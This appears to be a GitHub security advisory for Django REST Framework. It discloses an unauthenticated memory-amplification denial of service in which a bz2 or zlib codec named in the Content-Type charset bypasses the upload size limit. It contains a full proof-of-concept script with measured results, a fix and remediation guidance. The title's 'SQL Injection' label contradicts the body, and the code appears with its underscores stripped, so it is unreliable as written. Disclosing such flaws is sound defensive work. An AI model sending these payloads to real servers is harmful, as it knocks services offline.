GHSA-3547-9m27-7rxg: SQL Injection
Summary
An unauthenticated attacker can defeat Django's DATAUPLOADMAXMEMORYSIZE limit and force a worker process to allocate arbitrary memory, by naming a compression codec in the Content-Type charset parameter. A 108-byte request body produces a 50,331,648-character value inside the view, an amplification factor of 466,033, and grows process peak RSS by about 97 MiB. No application configuration is required beyond DRF's default parser set; the endpoint only has to accept a JSON body.
Details
JSONParser.parse decodes the request body with the charset the client supplied on the Content-Type header:
python restframework/parsers.py encoding = parsercontext.get('encoding', settings.DEFAULTCHARSET) try: decodedstream = codecs.getreader(encoding)(stream) parseconstant = json.strictconstant if self.strict else None return json.load(decodedstream, parseconstant=parseconstant) except ValueError as exc: raise ParseError('JSON parse error - %s' % str(exc))
Of the roughly 455 codec names codecs.lookup resolves on CPython 3.14, about 18 are byte transforms instead of character sets: bz2codec, zlibcodec, base64codec, hexcodec, quopricodec, uucodec and similar. codecs.getreader is the only entry point in the codecs module that does not consult CodecInfo.istextencoding, so it accepts all of them. Sending Content-Type: application/json; charset=bz2codec wraps the request stream in a bz2 decompressor before json.load reads it.
The ordering is what makes this exploitable. Django charges DATAUPLOADMAXMEMORYSIZE against the bytes that arrived on the wire: restframework/request.py hands JSONParser an io.BytesIO(self.body), and HttpRequest.body is where checkdatatoobig() runs. Decompression happens afterwards, inside the parser, where nothing is counting.
This is DRF's defect and not Django's. Django resolves the charset parameter and assigns request.encoding, and codecs.lookup does resolve byte transforms, but every Django consumer of request.encoding goes through the text-codec API and fails closed. Both bytes.decode('bz2codec') and str(raw, 'bz2codec') raise LookupError: 'bz2codec' is not a text encoding; use codecs.decode() to handle arbitrary codecs. DRF is the only caller that hands the request stream to codecs.getreader.
FormParser (parsers.py:84) and MultiPartParser (parsers.py:104-118) take the same client-named encoding but fail closed instead of amplifying.
The sink was introduced by 9a228116 (PR #5147, 2017-05-24, "Improve memory footprint when reading large JSON requests"), first released in 3.6.4. The final comment on that PR observes the intended memory gain does not hold because read() decodes the whole stream, which is the same property that makes this expansion unbounded. No istextencoding check has been added since.
A one-line fix at parsers.py:61-64:
python if not codecs.lookup(encoding).istextencoding: raise ParseError('Unsupported charset in Content-Type')
PoC
Save as poccharsetamplification.py and run it. It builds its own payloads, runs each arm in a fresh subprocess (peak RSS is a high-water mark, so measuring several arms in one process reports near-zero growth for every arm after the first), and prints a verdict.
python #!/usr/bin/env python """ django-rest-framework: JSONParser applies an attacker-named codec to the request stream, defeating DATAUPLOADMAXMEMORYSIZE.
Four arms, each in a fresh subprocess because peak RSS is a high-water mark and measuring several arms in one process reports ~0 growth for every arm after the first.
T ~108-byte bz2 body, Content-Type: application/json; charset=bz2codec C1 48 MiB plaintext, Content-Type: application/json (no charset) C2 the byte-identical T body, charset=utf-8 C3 zlib body, charset=zlibcodec
The claim is T AND C1 AND C2. C1 proves the size limit is live; C2 proves the codec name and not the payload is what produces the expansion.
Requires: django, djangorestframework importable. No arguments, nothing to edit. python poccharsetamplification.py Exit status 0 means every arm behaved as described in the advisory. """ import hashlib import json import os import subprocess import sys import tempfile
PAYLOADCHARS = 48 1024 1024 PAYLOADDIR = os.path.join(tempfile.gettempdir(), "drf-charset-amp") LIMIT = 65536
ARMS = { "T": ("bz2.bin", "application/json; charset=bz2codec"), "C1": ("plain.bin", "application/json"), "C2": ("bz2.bin", "application/json; charset=utf-8"), "C3": ("zlib.bin", "application/json; charset=zlibcodec"), } EXPECTED = { "T": "HTTP 200, parsed value orders of magnitude larger than the wire bytes", "C1": "rejected with RequestDataTooBig, view body never runs", "C2": "HTTP 400 ParseError on the byte-identical compressed body", "C3": "HTTP 200, same expansion under a different codec name", } VIEWRAN = []
def buildpayloads(): import bz2 import zlib
os.makedirs(PAYLOADDIR, existok=True) plain = b'{"a":"' + b"A" PAYLOADCHARS + b'"}' blobs = { "plain.bin": plain, "bz2.bin": bz2.compress(plain, 9), "zlib.bin": zlib.compress(plain, 9), } for name, blob in blobs.items(): with open(os.path.join(PAYLOADDIR, name), "wb") as fh: fh.write(blob) return {name: len(blob) for name, blob in blobs.items()}
def configuredjango(): from django.conf import settings
settings.configure( DEBUG=False, ALLOWEDHOSTS=["testserver"], SECRETKEY="poc", ROOTURLCONF=name, MIDDLEWARE=[], INSTALLEDAPPS=[ "django.contrib.contenttypes", "django.contrib.auth", "restframework", ], DATABASES={ "default": {"ENGINE": "django.db.backends.sqlite3", "NAME": ":memory:"} }, DEFAULTCHARSET="utf-8", DATAUPLOADMAXMEMORYSIZE=LIMIT, LOGGINGCONFIG=None, USETZ=True, ) import django
django.setup()
def buildview(): from restframework.response import Response from restframework.views import APIView
class Echo(APIView): authenticationclasses = [] permissionclasses = []
def post(self, request): data = request.data VIEWRAN.append(True) value = data.get("a") if isinstance(data, dict) else None return Response( {"parsedvaluelen": len(value) if isinstance(value, str) else None} )
return Echo
def getattr(name): # ROOTURLCONF points at this module; build urlpatterns lazily. if name == "urlpatterns": from django.urls import path
value = [path("x", buildview().asview())] globals()["urlpatterns"] = value return value raise AttributeError(name)
def peakrsskib(): """Peak resident size of this process. /proc is used where available because rumaxrss does not track the calling process on every kernel.""" try: with open("/proc/self/status") as fh: for line in fh: if line.startswith("VmHWM:"): return int(line.split(":")[1].strip().split()[0]) except OSError: pass import resource
return resource.getrusage(resource.RUSAGESELF).rumaxrss
def runarm(arm): payloadname, contenttype = ARMS[arm] with open(os.path.join(PAYLOADDIR, payloadname), "rb") as fh: body = fh.read()
configuredjango() from django.test import Client, RequestFactory
client = Client(raiserequestexception=False) # Warm every lazily imported module so the delta measures the request only. client.generic("POST", "/x", data=b'{"a":"A"}', contenttype="application/json") VIEWRAN.clear()
before = peakrsskib() response = client.generic("POST", "/x", data=body, contenttype=contenttype) after = peakrsskib()
parsedlen = None if response.statuscode == 200: try: parsedlen = json.loads(response.content).get("parsedvaluelen") except ValueError: pass
# Second reading via a bare RequestFactory so the exception class is visible # directly instead of inferred from a status code. request = RequestFactory().generic( "POST", "/x", data=body, contenttype=contenttype ) try: direct = {"statuscode": buildview().asview()(request).statuscode} except BaseException as exc: # noqa: BLE001 - naming the class is the point direct = {"exception": f"{type(exc).module}.{type(exc).name}"}
return { "arm": arm, "contenttype": contenttype, "transmittedbytes": len(body), "bodysha256": hashlib.sha256(body).hexdigest(), "statuscode": response.statuscode, "viewbodyexecuted": bool(VIEWRAN), "parsedvaluelen": parsedlen, "amplificationratio": round(parsedlen / len(body), 1) if parsedlen else None, "peakrssdeltamib": round((after - before) / 1024.0, 1), "directdispatch": direct, }
def check(arm, r): if arm in ("T", "C3"): return ( r["statuscode"] == 200 and r["viewbodyexecuted"] and r["parsedvaluelen"] == PAYLOADCHARS and r["amplificationratio"] >= 700 ) if arm == "C1": return ( r["statuscode"] != 200 and not r["viewbodyexecuted"] and r["directdispatch"].get("exception") == "django.core.exceptions.RequestDataTooBig" ) if arm == "C2": return r["statuscode"] == 400 and not r["viewbodyexecuted"] raise AssertionError(arm)
def main(): if "--arm" in sys.argv: print(json.dumps(runarm(sys.argv[sys.argv.index("--arm") + 1]))) return 0
sizes = buildpayloads() print(f"# payload sizes: {sizes}") print(f"# DATAUPLOADMAXMEMORYSIZE = {LIMIT}") print(f"# JSON string value under test: {PAYLOADCHARS} characters\n")
ok = True results = {} for arm in ("T", "C1", "C2", "C3"): proc = subprocess.run( [sys.executable, os.path.abspath(file), "--arm", arm], captureoutput=True, text=True, ) if proc.returncode != 0: print(f"{arm}: harness failed\n{proc.stderr}") return 2 r = json.loads(proc.stdout.strip().splitlines()[-1]) results[arm] = r passed = check(arm, r) ok = ok and passed print(f"=== {arm} [{'as described' if passed else 'NOT as described'}]") print(f" expected: {EXPECTED[arm]}") print(json.dumps(r, indent=6)) print()
print("=== summary") for arm, r in results.items(): print( f" {arm:3} wire={r['transmittedbytes']:>9}B status={r['statuscode']} " f"parsedlen={r['parsedvaluelen']} ratio={r['amplificationratio']} " f"peakrssdelta={r['peakrssdeltamib']} MiB viewran={r['viewbodyexecuted']}" ) print(f"\n T and C1 and C2: {'all held' if ok else 'NOT all held'}") return 0 if ok else 1
if name == "main": sys.exit(main())
Observed output, abbreviated to the summary block:
payload sizes: {'plain.bin': 50331656, 'bz2.bin': 108, 'zlib.bin': 48941} DATAUPLOADMAXMEMORYSIZE = 65536 JSON string value under test: 50331648 characters
=== summary T wire= 108B status=200 parsedlen=50331648 ratio=466033.8 peakrssdelta=96.8 MiB viewran=True C1 wire= 50331656B status=400 parsedlen=None ratio=None peakrssdelta=48.3 MiB viewran=False C2 wire= 108B status=400 parsedlen=None ratio=None peakrssdelta=0.0 MiB viewran=False C3 wire= 48941B status=200 parsedlen=50331648 ratio=1028.4 peakrssdelta=95.2 MiB viewran=True
T and C1 and C2: all held
C1 establishes that the size limit is live and configured, so the 200 in T is a defeated guard and not an absent one. C1 reports its own RSS growth because the client holds the 48 MiB body before the limit rejects it, which is client-side cost and never reaches the view. C2 carries most of the weight: its body is byte-identical to T, and only the codec name differs. RSS figures vary by a few MiB between runs.
Repeating all four arms on Django 5.2.17 LTS gave 109 wire bytes to 50,331,648 characters, 461,758x, with C1 and C2 both holding.
One note if you re-implement the request yourself: use Client.generic() or RequestFactory().generic(). Both Client.post() and RequestFactory.post() push the body through forcebytes(data, encoding=<charset>) (django/test/client.py:438-447), which destroys a compressed payload before the parser sees it.
Impact
Unauthenticated denial of service through memory amplification, against any endpoint that accepts a JSON body with the default parser set. Every deployment on 3.6.4 or later is affected, and no application code or configuration choice opts into it. Memory is per-request and released afterwards, which is why this is rated on availability alone rather than as Critical, but the amplification factor means a small number of concurrent requests can exhaust a worker. A few hundred bytes allocates hundreds of megabytes, and nothing in DRF or Django bounds the expanded size.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/djangorestframeworkto a version that resolves this vulnerability.Fixed in 3.18.2 - Compensating control
In Django REST Framework's JSONParser at parsers.py:61-64, validate the client-supplied charset with codecs.lookup(encoding)._is_text_encoding and reject non-text codecs with ParseError instead of passing them to codecs.getreader; this prevents attacker-supplied codecs such as bz2_codec and zlib_codec from expanding request bodies.
Event History
Frequently Asked Questions
Does this affect a default Django REST framework deployment?
Yes. No application configuration beyond Django REST framework's default parser set is required, provided an endpoint accepts a JSON request body.
What does an attacker need to send to trigger the memory consumption?
The attacker does not need to authenticate or interact with a user. They need to submit a JSON request whose Content-Type charset parameter names a Python codec that performs a byte transform rather than character decoding.
What is the practical impact on an affected worker?
A small request body can be amplified into a very large value during parsing, allowing arbitrary memory allocation in the worker process. The described 108-byte request produced a 50,331,648-character value and increased peak RSS by about 97 MiB.